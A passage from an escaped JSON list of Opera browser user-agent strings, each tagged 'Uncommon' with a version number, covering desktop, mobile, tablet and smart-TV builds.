Android 6.0.1; CPH1701 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.112031\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36 OPR\\/34.0.2036.50\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.2743.82 Safari\\/537.36 OPR\\/39.0.2256.43\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 2.3.6; SCH-S720C Build\\/GINGERBREAD) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.58 Mobile Safari\\/537.31 OPR\\/14.0.1074.57768\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.69 Safari\\/537.36 OPR\\/17.0.1241.45\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; cs) Presto\\/2.7.62 Version\\/11.01\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.25\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36 OPR\\/49.0.2725.34\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.2743.82 Safari\\/537.36 OPR\\/39.0.2256.43\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.18 (DIGIHOME, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64; U; Ubuntu\\/10.10 (maverick); pl) Presto\\/2.7.62 Version\\/11.01\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.00 (Windows NT 5.1; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.46\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.39\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36 OPR\\/32.0.1948.25\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.50\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Opera\\/5.11 (Windows 98; U) [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.20 Safari\\/537.36  OPR\\/15.0.1147.18 (Edition Next)\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.76 Safari\\/537.36 OPR\\/28.0.1750.40\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (S60; SymbOS; Opera Mobi\\/499; U; ru) Presto\\/2.4.18 Version\\/10.00\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; BRAVIA 4K 2015 Build\\/LMY48E.S243) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.101 Safari\\/537.36 OPR\\/28.0.1754.0 OMI\\/4.4.22.20.E102586-1.136\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.10.229 Version\\/11.64\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.58\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1159\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.107 Safari\\/537.36 OPR\\/31.0.1889.99\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Opera\\/7.51 (Windows NT 5.1; U) [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1218\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.898\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.52 Safari\\/537.36 OPR\\/31.0.1889.50 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.52 Safari\\/537.36 OPR\\/31.0.1889.50 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.10.229 Version\\/11.62\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.39\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; BRAVIA 2015 Build\\/LMY48E.S223) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.101 Safari\\/537.36 OPR\\/28.0.1754.0 OMI\\/4.4.22.20.E102586-1.136\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.39\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.888\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.39\"},{\"commonality\":\"Uncommon\",\"version\":\"35.2\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; F1f Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.99 Mobile Safari\\/537.36 OPR\\/35.2.2070.103882\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3236.0 Safari\\/537.36 OPR\\/50.0.2759.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.10.229 Version\\/11.62\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.8.131 Version\\/11.11\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.94 Safari\\/537.36 OPR\\/27.0.1689.66 (Edition Campaign 67)\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36 OPR\\/35.0.2066.37\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.32\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/4.0 (Windows 98; US) Opera 12.16 [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36 OPR\\/34.0.2036.50\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.40\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.58 (Edition Campaign 76)\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2236.0 Safari\\/537.36 OPR\\/28.0.1719.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2044.98679\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36 OPR\\/37.0.2178.32\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.78 Safari\\/537.36 OPR\\/32.0.1953.96473\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.39\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.125 Safari\\/537.36 OPR\\/25.0.1614.71\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.517\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.168 Safari\\/537.36 OPR\\/51.0.2830.40\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.0.2130.65\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0; U; pl) Presto\\/2.7.62 Version\\/11.01\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.35\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36 OPR\\/41.0.2353.56\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; Win64; x64) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.107 Safari\\/537.36 OPR\\/31.0.1889.99\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.61\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36 OPR\\/51.0.2830.34\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.152 Safari\\/537.36 OPR\\/29.0.1795.60 (Edition Yx 01)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux i686) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36 OPR\\/38.0.2220.31\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.168 Safari\\/537.36 OPR\\/51.0.2830.40\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.58\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; ru) Presto\\/2.10.289 Version\\/12.01\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.20 (Macintosh; Intel Mac OS X; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1218\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36 OPR\\/41.0.2353.46\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.517\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.65 Safari\\/537.36 OPR\\/26.0.1656.24\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36 OPR\\/42.0.2393.85\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB95\\/3.6.3.J (JVC, Si2157LG32, wireless)\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2914.3 Safari\\/537.36 OPR\\/43.0.2431.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.0.2130.65\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36 OPR\\/52.0.2871.30\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.50\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1159\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Android 2.3.7; Linux; Opera Tablet\\/46154) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.881\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36 OPR\\/37.0.2178.32\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.39\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64 (Edition Campaign 76)\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; CPH1607 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.112030\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.80\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2739.0 Safari\\/537.36 OPR\\/39.0.2248.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.10.229 Version\\/11.64\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.168 Safari\\/537.36 OPR\\/51.0.2830.40\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.89 Safari\\/537.36 OPR\\/28.0.1750.48 (Edition Campaign 49)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.7.4; U; en) Presto\\/2.10.229 Version\\/11.62\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36 OPR\\/51.0.2830.26\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.115 Safari\\/537.36 OPR\\/27.0.1689.76\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; Moto G (5) Plus Build\\/NPN25.137-83) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.125 Mobile Safari\\/537.36 OPR\\/43.0.2246.121183\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2767.4 Safari\\/537.36 OPR\\/40.0.2280.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; sv) Presto\\/2.7.62 Version\\/11.01\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2398.0 Safari\\/537.36 OPR\\/31.0.1876.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2687.0 Safari\\/537.36 OPR\\/38.0.2205.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; cs) Presto\\/2.7.62 Version\\/11.01\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.2; U; ru) Presto\\/2.7.62 Version\\/11.01\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.52 Safari\\/537.36 OPR\\/31.0.1889.50 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.91 Safari\\/537.36 OPR\\/27.0.1689.54\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.99 Safari\\/537.36 OPR\\/35.0.2070.100283\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.39\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.54\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36 OPR\\/51.0.2830.34\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36 OPR\\/40.0.2308.90\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Opera 8.51 on Windows XP  Opera\\/8.51 (Windows NT 5.1; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.58\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36 OPR\\/51.0.2830.26\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.40\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 